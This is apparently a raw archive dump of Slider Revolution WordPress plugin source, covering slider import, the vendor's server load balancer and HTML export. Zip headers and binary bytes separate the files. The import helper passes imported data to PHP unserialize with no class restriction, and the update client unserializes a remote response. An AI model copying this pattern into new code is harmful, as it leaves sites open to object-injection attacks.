								$video_data['urlPoster'] = (isset($video_data['urlPoster']) && $video_data['urlPoster'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlPoster'], $this->alias, $this->imported)) : '';
								$video_data['urlMp4']	 = (isset($video_data['urlMp4']) && $video_data['urlMp4'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlMp4'], $this->alias, $this->imported, true)) : '';
								$video_data['urlWebm']	 = (isset($video_data['urlWebm']) && $video_data['urlWebm'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlWebm'], $this->alias, $this->imported, true)) : '';
								$video_data['urlOgv']	 = (isset($video_data['urlOgv']) && $video_data['urlOgv'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlOgv'], $this->alias, $this->imported, true)) : '';
							}elseif(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] != 'html5'){ //video cover image
								if($video_data['video_type'] == 'audio'){
									$video_data['urlAudio'] = (isset($video_data['urlAudio']) && $video_data['urlAudio'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlAudio'], $this->alias, $this->imported, true)) : '';
								}else{
									$video_data['previewimage']	= (isset($video_data['previewimage']) && $video_data['previewimage'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['previewimage'], $this->alias, $this->imported)) : '';
								}
							}
							
							$layer['video_data']		= $video_data;
							$layer['video_image_url']	= (isset($layer['video_image_url']) && $layer['video_image_url'] != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $layer['video_image_url'], $this->alias, $this->imported)) : '';
						}
						
						if(isset($layer['type']) && $layer['type'] == 'svg'){
							if(isset($layer['svg']) && isset($layer['svg']->src)){
								$layer['svg']->src = content_url().$layer['svg']->src;
							}
						}
						
						if(isset($layer['layer_action'])){
							if(isset($layer['layer_action']->jump_to_slide) && !empty($layer['layer_action']->jump_to_slide)){
								foreach($layer['layer_action']->jump_to_slide as $jtsk => $jtsval){
									if(isset($this->map[$jtsval])){
										$layer['layer_action']->jump_to_slide[$jtsk] = $this->map[$jtsval];
									}
								}
							}
						}
						
						$link_slide = $this->get_val($layer, 'link_slide', false);
						if($link_slide != false && $link_slide !== 'nothing'){ //link to slide/scrollunder is set, move it to actions
							if(!isset($layer['layer_action'])) $layer['layer_action'] = new stdClass();
							
							switch($link_slide){
								case 'link':
									$layer['layer_action']->action		 = array('a' => 'link');
									$layer['layer_action']->link_type	 = array('a' => 'a');
									$layer['layer_action']->image_link	 = array('a' => $this->get_val($layer, 'link'));
									$layer['layer_action']->link_open_in = array('a' => $this->get_val($layer, 'link_open_in'));
									
									unset($layer['link']);
									unset($layer['link_open_in']);
								break;
								case 'next':
									$layer['layer_action']->action = array('a' => 'next');
								break;
								case 'prev':
									$layer['layer_action']->action = array('a' => 'prev');
								break;
								case 'scroll_under':
									$layer['layer_action']->action = array('a' => 'scroll_under');
									$layer['layer_action']->scrollunder_offset = array('a' => $this->get_val($layer, 'scrollunder_offset'));
									
									unset($layer['scrollunder_offset']);
								break;
								default: //its an ID, so its a slide ID
									$layer['layer_action']->action = array('a' => 'jumpto');
									$layer['layer_action']->jump_to_slide = array('a' => $this->map[$link_slide]);
								break;
								
							}
							$layer['layer_action']->tooltip_event = array('a' => 'click');
							
							unset($layer['link_slide']);
						}
						
						$layers[$layer_key] = $layer;
					}
				}
				
				$d = array('params' => $params, 'layers' => $layers, 'settings' => $settings);
				$d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'static', $this->download_path, $this);
				
				$my_layers	 = json_encode($d['layers']);
				$my_layers	 = (empty($my_layers)) ? stripslashes(json_encode($d['layers'])) : $my_layers;
				$my_params	 = json_encode($d['params']);
				$my_params	 = (empty($my_params)) ? stripslashes(json_encode($d['params'])) : $my_params;
				$my_settings = json_encode($d['settings']);
				$my_settings = (empty($my_settings)) ? stripslashes(json_encode($d['settings'])) : $my_settings;
				
				if($this->exists){
					$wpdb->update(
						$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES,
						array(
							'layers'	=> $my_layers,
							'params'	=> $my_params,
							'settings'	=> $my_settings
						),
						array('slider_id' => $this->slider_id)
					);
				}else{
					$ret = $wpdb->insert(
						$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES,
						array(
							'slider_id' => $this->slider_id,
							'layers'	=> $my_layers,
							'params'	=> $my_params,
							'settings'	=> $my_settings
						)
					);
				}
			}
		}
	}
	
	
	/**
	 * process the static slide plus layers, and update actions for Static Slides pre 6.0
	 **/
	public function process_static_slide_data_post_6(){
		global $wpdb, $wp_filesystem;
		//check if static slide exists and import
		$static_slide = $this->get_val($this->slider_data, 'static_slides');
		
		if(!empty($static_slide) && $this->import_statics){
			foreach($static_slide as $slide){
				$params		= $this->get_val($slide, 'params');
				$layers		= $this->get_val($slide, 'layers');
				$settings	= $this->get_val($slide, 'settings', '');
				
				//remove image_id as it is not needed in import
				if($this->get_val($params, array('bg', 'imageId'), false) !== false) unset($params['bg']['imageId']);
				
				if(!isset($params['bg'])) $params['bg'] = array();
				$image = trim($this->get_val($params, array('bg', 'image'), ''));
				$params['bg']['image'] = $this->import_media_from_zip($image);
				if(!empty($params['bg']['image'])){
					$imgid = $this->get_image_id_by_url($params['bg']['image']);
					if(!empty($imgid) && $imgid !== 0){
						$params['bg']['imageId'] = $imgid;
					}
				}
				
				//convert layers images:
				if(!empty($layers)){
					foreach($layers as $layer_key => $layer){
						if($this->get_val($layer, array('media', 'imageId'), false) !== false) unset($layer['media']['imageId']);
						if($this->get_val($layer, array('media', 'posterId'), false) !== false) unset($layer['media']['posterId']);
						if($this->get_val($layer, array('idle', 'backgroundImageId'), false) !== false) unset($layer['idle']['backgroundImageId']);

						$image = trim($this->get_val($layer, array('media', 'imageUrl'), ''));
						if($image !== ''){
							$layer['media']['imageUrl'] = $this->import_media_from_zip($image);
						}
						$image = trim($this->get_val($layer, array('idle', 'backgroundImage'), ''));
						if($image !== ''){
							$layer['idle']['backgroundImage'] = $this->import_media_from_zip($image);
						}
						
						$layer['text'] = stripslashes($this->get_val($layer, 'text'));

						$type = $this->get_val($layer, 'type');
						if($type == 'video' || $type == 'audio'){
							if($this->get_val($layer, array('media', 'mediaType')) == 'html5'){
								$layer['media']['mp4Url']	= ($this->get_val($layer, array('media', 'mp4Url'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'mp4Url'), ''), $this->alias, $this->imported, true)) : '';
								$layer['media']['webmUrl']	= ($this->get_val($layer, array('media', 'webmUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'webmUrl'), ''), $this->alias, $this->imported, true)) : '';
								$layer['media']['ogvUrl']	= ($this->get_val($layer, array('media', 'ogvUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'ogvUrl'), ''), $this->alias, $this->imported, true)) : '';
							}elseif($this->get_val($layer, array('media', 'mediaType')) != 'html5'){ //video cover image
								if($this->get_val($layer, array('media', 'mediaType')) == 'audio'){
									$layer['media']['audioUrl']	= ($this->get_val($layer, array('media', 'audioUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'audioUrl'), ''), $this->alias, $this->imported, true)) : '';
								}
							}
							
							$layer['media']['posterUrl'] = ($this->get_val($layer, array('media', 'posterUrl'), '') != '') ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'posterUrl'), ''), $this->alias, $this->imported)) : '';
						}
						
						if($type == 'svg'){
							$svg = $this->get_val($layer, array('svg', 'source'), '');
							
							//check if we need to import it, if its available in the zip file
							$zimage	= $wp_filesystem->exists($this->download_path.'images/'.$svg);
							
							if(!$zimage) $zimage = $wp_filesystem->exists(str_replace('//', '/', $this->download_path.'images/'.$svg));
							$svgurl = ($zimage === true) ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $svg, $this->alias, $this->imported, true)) : content_url().$svg;
							if(!empty($svg)) $layer['svg']['source'] = $svgurl;
						}
						
						$actions = $this->get_val($layer, array('actions', 'action'), array());
						if(!empty($actions)){
							foreach($actions as $a_k => $action){
								$jts = $this->get_val($action, 'jump_to_slide', '');
								if($jts !== ''){
									if(isset($this->map[$jts])){
										$this->set_val($layer, array('actions', 'action', $a_k, 'jump_to_slide'), $this->map[$jts]);
									}
								}
								
								if(!empty($this->map)){
									$cb = $this->get_val($action, 'actioncallback', '');
									if($cb !== ''){
										$cb = str_replace('slider-'.$this->old_slider_id.'-', 'slider-'.$this->slider_id.'-', $cb);
										$cb = str_replace('slider_'.$this->old_slider_id.'_', 'slider_'.$this->slider_id.'_', $cb);
										foreach($this->map as $old_slide_id => $new_slide_id){
											$cb = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $cb);
											$this->set_val($slide['layers'][$layer_key], array('actions', 'action', $a_k, 'actioncallback'), $cb);
										}
									}
								}
							}
						}
						
						$layers[$layer_key] = $layer;
					}
				}
				
				$d = array('params' => $params, 'layers' => $layers, 'settings' => $settings);
				$d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'static', $this->download_path, $this);
				
				$my_layers	 = json_encode($d['layers']);
				$my_layers	 = (empty($my_layers)) ? stripslashes(json_encode($d['layers'])) : $my_layers;
				$my_params	 = json_encode($d['params']);
				$my_params	 = (empty($my_params)) ? stripslashes(json_encode($d['params'])) : $my_params;
				$my_settings = json_encode($d['settings']);
				$my_settings = (empty($my_settings)) ? stripslashes(json_encode($d['settings'])) : $my_settings;
				
				if($this->exists){
					$wpdb->update(
						$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES,
						array(
							'layers'	=> $my_layers,
							'params'	=> $my_params,
							'settings'	=> $my_settings
						),
						array('slider_id' => $this->slider_id)
					);
				}else{
					$ret = $wpdb->insert(
						$wpdb->prefix . RevSliderFront::TABLE_STATIC_SLIDES,
						array(
							'slider_id' => $this->slider_id,
							'layers'	=> $my_layers,
							'params'	=> $my_params,
							'settings'	=> $my_settings
						)
					);
				}
			}
		}
	}
	
	
	/**
	 * duplicate the template slider, if we installed a template slider. either a slide or the full slider
	 **/
	public function duplicate_template_slider($single_slide){
		if($this->is_template !== false){ //duplicate the slider now, as we just imported the "template"
			$mslider = new RevSliderSlider();
			$mslider->template_slider = true;
			if($single_slide !== false){ //add now one Slide to the current Slider
				//change slide_id to correct, as it currently is just a number beginning from 0 as we did not have a correct slide ID yet.
				$i = 0;
				$changed = false;
				if(!empty($this->map)){
					foreach($this->map as $value){
						if($i == $single_slide['slide_id']){
							$single_slide['slide_id'] = $value;
							$changed = true;
							break;
						}
						$i++;
					}
				}
				
				if($changed){
					$mslider->copy_slide_to_slider($single_slide);
				}else{
					global $wp_filesystem;
					
					$wp_filesystem->delete($this->remove_path, true);
					return array('success' => false, 'error' => __('could not find correct Slide to copy, please try again.', 'revslider'), 'sliderID' => $this->slider_id);
				}
			}else{
				$this->real_slider_id = $mslider->duplicate_slider_by_id($this->slider_id, true);
			}
		
			$map = $mslider->get_map();
			if(!empty($map)){
				$new_map = array();
				if(!empty($this->map)){
					foreach($this->map as $os => $ns){
						if(isset($map[$ns])){
							$new_map[$os] = $map[$ns];
						}
					}
					if(!empty($new_map)){ //push these into the duplicate tree
						$this->map[$this->real_slider_id] = $new_map;
					}
				}
			}
		}
		
		return true;
	}
	
	
	/**
	 * update the slide ids in the slider skins 
	 * @since: 6.2.3
	 * skins -> colors -> [] -> ref -> [] -> r & slide
	 **/
	public function update_color_ids($map){
		$skins = $this->get_param('skins', array());
		if(!empty($skins) && isset($skins['colors']) && !empty($skins['colors']) && !empty($map)){
			
			$update = false;
			foreach($skins['colors'] as $k => $v){
				if(isset($v['ref']) && !empty($v['ref'])){
					foreach($v['ref'] as $rk => $rv){
						$os = $this->get_val($rv, 'slide');
						
						if(isset($map[$os])){
							$update = true;
							$skins['colors'][$k]['ref'][$rk]['slide'] = (string)$map[$os];
							
							$r = explode('.', $this->get_val($rv, 'r'));
							if(!empty($r) && is_array($r)){
								$r[0] = $map[$os];
								$skins['colors'][$k]['ref'][$rk]['r'] = implode('.', $r);
							}
						}
					}
				}
			}
			
			if($update){
				$this->update_params(array('skins' => $skins));
			}
		}
	}
	
	
	/**
	 * update the custom javascript section by removing the old api ID with the new api ID
	 **/
	public function update_css_and_javascript_ids($old_slider_id, $new_slider_id, $map){
		$js = $this->get_param(array('codes', 'javascript'), '');
		$css = $this->get_param(array('codes', 'css'), '');
		
		$change = false;
		
		if(strpos($js, 'revapi') !== false){
			if(preg_match_all('/revapi[0-9]*/', $js, $results)){
				if(isset($results[0]) && !empty($results[0])){
					foreach($results[0] as $replace){
						$js = str_replace($replace, 'revapi'.$new_slider_id, $js);
					}
					$change = true;
				}
			}
		}
		
		if(!empty($map)){
			if($css !== ''){
				$css = str_replace(
					array(
						'slider-'.$old_slider_id.'-',
						'slider_'.$old_slider_id.'_',
						'rrzt_'.$old_slider_id,
						'rrzm_'.$old_slider_id,
						'rrzb_'.$old_slider_id,
						'.slotholder',
						'.rs-background-video-layer',
						'.tp-static-layers',
						'.tp-parallax-wrap',
						'.rev_column_bg',
						'.tp-revslider-slidesli',
						'active-revslide'
					),
					array(
						'slider-'.$new_slider_id.'-',
						'slider_'.$new_slider_id.'_',
						'rrzt_'.$new_slider_id,
						'rrzm_'.$new_slider_id,
						'rrzb_'.$new_slider_id,
						'rs-sbg-wrap',
						'rs-bgvideo',
						'rs-static-layers',
						'.rs-parallax-wrap',
						'rs-column-bg',
						'rs-slide',
						'active-rs-slide'
					),
					$css
				);
				
				foreach($map as $old_slide_id => $new_slide_id){
					$css = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $css);
				}
				$change = true;
			}
			if($js !== ''){
				$js = str_replace(
					array(
						'slider-'.$old_slider_id.'-',
						'slider_'.$old_slider_id.'_',
						'rrzt_'.$old_slider_id,
						'rrzm_'.$old_slider_id,
						'rrzb_'.$old_slider_id,
						'.slotholder',
						'.rs-background-video-layer',
						'.tp-static-layers',
						'if (obj.href!=undefined && obj.href.split("http").length<2 && obj.href!="#wp-toolbar")'
					),
					array(
						'slider-'.$new_slider_id.'-',
						'slider_'.$new_slider_id.'_',
						'rrzt_'.$new_slider_id,
						'rrzm_'.$new_slider_id,
						'rrzb_'.$new_slider_id,
						'rs-sbg-wrap',
						'rs-bgvideo',
						'tp-static-layers',
						'if (obj.href!=undefined && obj.href.split("http").length<2 && obj.href!="#wp-toolbar" && obj.href.split(\'./\').length<2 && obj.href.split(\'mailto:\').length<2)'
					),
					$js
				);
				
				foreach($map as $old_slide_id => $new_slide_id){
					$js = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $js);
				}
				$change = true;
			}
			
			//check for all slides, if seo.slideLink needs to be changed
			$this->init_layer = false;
			$slides = $this->get_slides();
			if(!empty($slides)){
				foreach($slides as $skey => $slide){
					if(version_compare($slide->get_param('version', '1.0.0'), '6.0.0', '<')){
					}else{
						$slidelink = $slide->get_param(array('seo', 'slideLink'), false);
						if($slidelink !== false && isset($map[$slidelink])){
							$slide->set_param(array('seo', 'slideLink'), $map[$slidelink]);
							$slide->save_params();
						}
					}
				}
			}
		}
		
		if($change === true){
			$this->update_params(array('codes' => array('javascript' => $js, 'css' => $css)));
		}
	}
	
	
	/**
	 * import a media and return the imported path of it
	 * @param string $image
	 * @return string
	 **/
	public function import_media_from_zip($image){
		global $wp_filesystem;
		
		$media = '';

		//import if exists in zip folder
		if($image !== '' && strpos($image, 'http') === false){
			if($this->import_zip === true){ //we have a zip, check if exists
				if($wp_filesystem->exists($this->download_path.'images/'.$image)){
					if(!isset($this->imported['images/'.$image])){
						$import_image = $this->import_media($this->download_path.'images/'.$image, $this->get_val($this->slider_data, 'alias', 'alias').'/');
						if($import_image !== false){
							$image = $import_image['path'];
							$this->imported['images/'.$image] = $image;
						}
					}else{
						$image = $this->imported['images/'.$image];
					}
				}
			}
			$media = $this->get_image_url_from_path($image);
		}
		
		return $media;
	}
	
	/**
	 * clear errors of length in string before unserializing it
	 * @param string $m
	 * @return string
	 **/
	public static function clear_error_in_string($m){
		return 's:'.strlen($m[2]).':"'.$m[2].'";';
	}

	/**
	 * depending on PHP version, use optional parameter of unserialize
	 * @since: 6.0.0
	 * @param string $string
	 * @return mixed
	 */
	public function rs_unserialize($string){
		return @unserialize($string);
	}
}PK�y3\��-���includes/loadbalancer.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderLoadBalancer {

	public $servers = array();
	 

	/**
	 * set the server list on construct
	 **/
	public function __construct(){
		$this->servers = get_option('revslider_servers', array());
		$this->servers = (empty($this->servers)) ? array('themepunch.tools') : $this->servers;
		
		
	}

	/**
	 * get the url depending on the purpose, here with key, you can switch do a different server
	 **/
	public function get_url($purpose, $key = 0, $force_http = false){
		$url	 = ($force_http ) ? 'http://' : 'https://';
		$use_url = (!isset($this->servers[$key])) ? reset($this->servers) : $this->servers[$key];
		
		switch($purpose){
			case 'updates':
				$url .= 'updates.';
				break;
			case 'templates':
				$url .= 'templates.';
				break;
			case 'library':
				$url .= 'library.';
				break;
			default:
				return false;
		}
		
		$url .= $use_url;
		
		return $url;
	}
	
	/**
	 * refresh the server list to be used, will be done once in a month
	 **/
	public function refresh_server_list($force = false){
		global $wp_version;
		
		$rs_rsl		= (isset($_GET['rs_refresh_server'])) ? true : false;
		$last_check	= get_option('revslider_server_refresh', false);
		
		if($force === true || $rs_rsl == true || $last_check === false || time() - $last_check > 60 * 60 * 24 * 14){
			//$url = $this->get_url('updates');
			$url	 = 'https://updates.themepunch.tools';
			$request = wp_remote_post($url.'/get_server_list.php', array(
				'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'),
				'body'		 => array(
					'item'		=> urlencode(RS_PLUGIN_SLUG),
					'version'	=> urlencode(RS_REVISION)
				),
				'timeout'	 => 45
			));
			
			if(!is_wp_error($request)){
				if($response = maybe_unserialize($request['body'])){
					$list = json_decode($response, true);
					update_option('revslider_servers', $list);
				}
			}
			
			update_option('revslider_server_refresh', time());
		}
	}
	
	/**
	 * move the server list, to take the next server as the one currently seems unavailable
	 **/
	public function move_server_list(){
		
		$servers	= $this->servers;
		$a			= array_shift($servers);
		$servers[]	= $a;
		
		$this->servers = $servers;
		update_option('revslider_servers', $servers);
	}
	
	/**
	 * call an themepunch URL and retrieve data
	 **/
	public function call_url($url, $data, $subdomain = 'updates', $force_http = false){
		global $wp_version;
		
		//add version if not passed
		$data['version'] = (!isset($data['version'])) ? urlencode(RS_REVISION) : $data['version'];
		
		$done	= false;
		$count	= 0;
		
		do{	
			$server	 = $this->get_url($subdomain, 0, $force_http);
			
			$request = wp_remote_post($server.'/'.$url, array(
				'user-agent' => 'WordPress/'.$wp_version.'; '.get_bloginfo('url'),
				'body'		 => $data,
				'timeout'	 => 45
			));
			
			$response_code = wp_remote_retrieve_response_code($request);
			if($response_code == 200){
				$done = true;
			}else{
				$this->move_server_list();
			}
			
			$count++;
		}while($done == false && $count < 5);
		
		return $request;
	}
}PK�y3\��a-B}B}includes/export-html.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderSliderExportHtml extends RevSliderSliderExport {
	
	public $path_fonts		= 'fonts/';
	public $path_css		= 'css/';
	public $path_js			= 'js/';
	public $path_assets		= 'assets';
	public $path_assets_raw	= 'assets';
	public $path_assets_vid	= 'assets';
	public $path_assets_raw_vid	= 'assets';
	public $export_real		= true;
	
	public $slider_output	= false;
	public $slider_html		= '';
	public $export_font		= '';
	public $export_scripts	= '';
	public $export_styles	= '';
	
	private $slider_title	= '';
	private $layouttype		= '';
	
	
	public function __construct(){
		parent::__construct();
		
		if(!$this->export_real){ //set all different file path's here
			$this->path_fonts		= '../../revolution/fonts/';
			$this->path_css			= '../../revolution/css/';
			$this->path_js			= '../../revolution/js/';
			$this->path_assets		= '../../assets/images';
			$this->path_assets_raw	= 'assets/images';
			$this->path_assets_vid	= '../../assets/videos';
			$this->path_assets_raw_vid = 'assets/videos';
		}
		
	}
	
	
	/**
	 * export slider HTML as a zip file
	 **/
	public function export_slider_html($slider_id){
		if($slider_id == 'empty_output'){
			echo __('Wrong request!', 'revslider');
			exit;
		}
		
		$this->create_export_zip();
		
		$slider = new RevSliderSlider();
		$slider->init_by_id($slider_id);
		
		//check if an update is needed
		if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
			$upd = new RevSliderPluginUpdate();
			$upd->upgrade_slider_to_latest($slider);
			$slider->init_by_id($slider_id);
		}
		
		if($slider->get_param('pakps', false) === true && $this->_truefalse(get_option('revslider-valid', 'false')) === false){
			echo __('Wrong request!', 'revslider');
			exit;
		}

		$this->slider_title	= $slider->get_title();
		$this->slider_alias	= $slider->get_alias();
		
		$this->layouttype	= $slider->get_param('layouttype');
		
		$this->slider_output = new RevSliderOutput();
		
		ob_start();
		$this->slider_output->set_slider_id($slider_id);
		$this->slider_output->set_markup_export(true);
		$this->slider_output->add_slider_base();

		$this->slider_html = ob_get_contents();
		ob_clean();
		ob_end_clean();
		
		$this->create_font_html();
		$this->create_script_html();
		$this->create_style_html();
		
		ob_start();
		$this->write_header_html();
		$head = ob_get_contents();
		ob_clean();
		ob_end_clean();
		
		ob_start();
		$this->write_body_html();
		$body = ob_get_contents();
		ob_clean();
		ob_end_clean();
		
		ob_start();
		$this->write_footer_html();
		$footer = ob_get_contents();
		ob_clean();
		ob_end_clean();
	
		$this->slider_html = $head."\n".
							 $this->slider_html."\n".
							 $this->export_scripts."\n".
							 $body."\n".
							 $footer;
								
		$this->replace_export_html_urls();
		$this->add_export_html_to_zip();
		$this->push_zip_to_client();
		$this->delete_export_zip();
		
		exit;
	}
	
	
	/**
	 * replace the URLs in the HTML to local URLs for exporting, this will also push the files into the zip file
	 **/
	public function replace_export_html_urls(){
		$added				= array();
		$replace			= array();
		$upload_dir			= $this->get_upload_path();
		$upload_dir_multi	= wp_upload_dir();
		$cont_url			= $this->get_val($upload_dir_multi, 'baseurl');
		$cont_url_no_www	= str_replace('www.', '', $cont_url);
		$upload_dir_multi	= $this->get_val($upload_dir_multi, 'basedir').'/';
		
		$search = array($cont_url, $cont_url_no_www, RS_PLUGIN_URL);
		if(defined('WHITEBOARD_PLUGIN_URL')){
			$search[] = WHITEBOARD_PLUGIN_URL;
		}
		$search	= apply_filters('revslider_html_export_replace_urls', $search);
		$replace = apply_filters('revslider_html_export_path_replace_urls', $replace);
		
		if(!empty($search)){
			foreach($search as $s){
				$s = $this->remove_http($s);
				
				preg_match_all("/(\"|')".str_replace('/', '\/', $s)."\S+(\"|')/", $this->slider_html, $_files);

				if(!empty($_files) && isset($_files[0]) && !empty($_files[0])){
					//go through all files, check for existance and add to the zip file
					foreach($_files[0] as $_file){
						$o		= $_file;
						$_file	= str_replace(array('"', "'", $s), '', $_file);
						
						//check if video or image
						$use_path		= $this->path_assets;
						$use_path_raw	= $this->path_assets_raw;
						
						preg_match('/.*?.(?:jpg|jpeg|gif|png|svg)/i', $_file, $match);
						preg_match('/.*?.(?:ogv|webm|mp4|mp3)/i', $_file, $match2);
						
						$f = false;
						if(!empty($match) && isset($match[0]) && !empty($match[0])){
							//image
							$use_path		= $this->path_assets;
							$use_path_raw	= $this->path_assets_raw;
							$f = true;
						}
						if(!empty($match2) && isset($match2[0]) && !empty($match2[0])){
							//video
							$use_path		= $this->path_assets_vid;
							$use_path_raw	= $this->path_assets_raw_vid;
							$f = true;
						}
						
						if($f == false){ 
							//no file, just a location. So change the location accordingly by removing base and add ../../revolution
							if(strpos($o, 'public/assets/js/') !== false){ //this will be the jsFileLocation script part
								$this->slider_html = str_replace($o, '"'.$this->path_js.'"', $this->slider_html);
							}
							continue; //no correct file, nothing to add
						}
						
						if(isset($added[$_file])) continue;
						
						$add	 = '';
						$__file	 = '';
						$repl_to = explode('/', $_file);
						$repl_to = end($repl_to);
						
						$remove	 = false;
						
						if(is_file($upload_dir.$_file)){
							$mf = str_replace('//', '/', $upload_dir.$_file);
							if(!$this->usepcl){
								$this->zip->addFile($mf, $use_path_raw.'/'.$repl_to);
							}else{
								$v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/');
							}
							$remove = true;
						}elseif(is_file($upload_dir_multi.$_file)){
							$mf = str_replace('//', '/', $upload_dir_multi.$_file);
							if(!$this->usepcl){
								$this->zip->addFile($mf, $use_path_raw.'/'.$repl_to);
							}else{
								$v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/');
							}
							$remove = true;
						}elseif(is_file(RS_PLUGIN_PATH.$_file)){
							$mf = str_replace('//', '/', RS_PLUGIN_PATH.$_file);
							
							//we need to be special with svg files
							$__file = basename($_file);
							
							//remove admin/assets/
							//$__file = str_replace('admin/assets/images/', '', $_file);
							
							
							if(!$this->usepcl){
								$this->zip->addFile($mf, $use_path_raw.'/'.$__file);
							}else{
								$v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/');
							}
							$remove = true;
							$add = '/';
						}else{
							if(defined('WHITEBOARD_PLUGIN_PATH')){
								if(is_file(WHITEBOARD_PLUGIN_PATH.$_file)){
									$mf = str_replace('//', '/', WHITEBOARD_PLUGIN_PATH.$_file);
							
									//we need to be special with svg files
									$__file = basename($_file);
									
									if(!$this->usepcl){
										$this->zip->addFile($mf, $use_path_raw.'/'.$__file);
									}else{
										$v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/');
									}
									$remove = true;
									$add = '/';
								}
							}
							if(!empty($replace)){
								foreach($replace as $_path){
									if(is_file($_path.$_file)){
										$mf = str_replace('//', '/', $_path.$_file);

										//we need to be special with svg files
										$__file = basename($_file);
										
										if(!$this->usepcl){
											$this->zip->addFile($mf, $use_path_raw.'/'.$__file);
										}else{
											$v_list = $this->pclzip->add($mf, PCLZIP_OPT_REMOVE_PATH, str_replace(basename($mf), '', $mf), PCLZIP_OPT_ADD_PATH, $use_path_raw.'/');
										}
										$remove = true;
										$add = '/';
									}
								}
							}
						}

						if($remove == true){
							$added[$_file] = true; //set as added
							//replace file with new path
							if($add !== '') $_file = $__file; //set the different path here
							$re = (strpos($o, "'") !== false) ? "'" : '"';
							$this->slider_html = str_replace($o, $re.$use_path.'/'.$repl_to.$re, $this->slider_html);
						}
					}
					
				}
			}
		}
		
		if($this->export_real){ //only include if real export
			//add common files to the zip
			if(!$this->usepcl){
				if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.main.js', 'js/rs6.main.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.actions.js', 'js/rs6.actions.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.carousel.js', 'js/rs6.carousel.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.layeranimation.js', 'js/rs6.layeranimation.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.navigation.js', 'js/rs6.navigation.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.panzoom.js', 'js/rs6.panzoom.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.parallax.js', 'js/rs6.parallax.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.slideanims.js', 'js/rs6.slideanims.js');
					//$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/libs/three.min.js', 'js/three.min.js');
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/dev/rs6.video.js', 'js/rs6.video.js');
				}else{
					$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/rs6.min.js', 'js/rs6.min.js');
				}
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/js/rbtools.min.js', 'js/rbtools.min.js');
				
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/css/rs6.css', 'css/rs6.css');
				
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', 'fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/css/helper.css', 'fonts/pe-icon-7-stroke/css/helper.css');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.eot');
				$this->zip->addFile(RS_PLUGIN_PATH.'/public/assets/fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg', 'fonts/pe-icon-7-stroke/fonts/Pe-icon-7-stroke.svg');
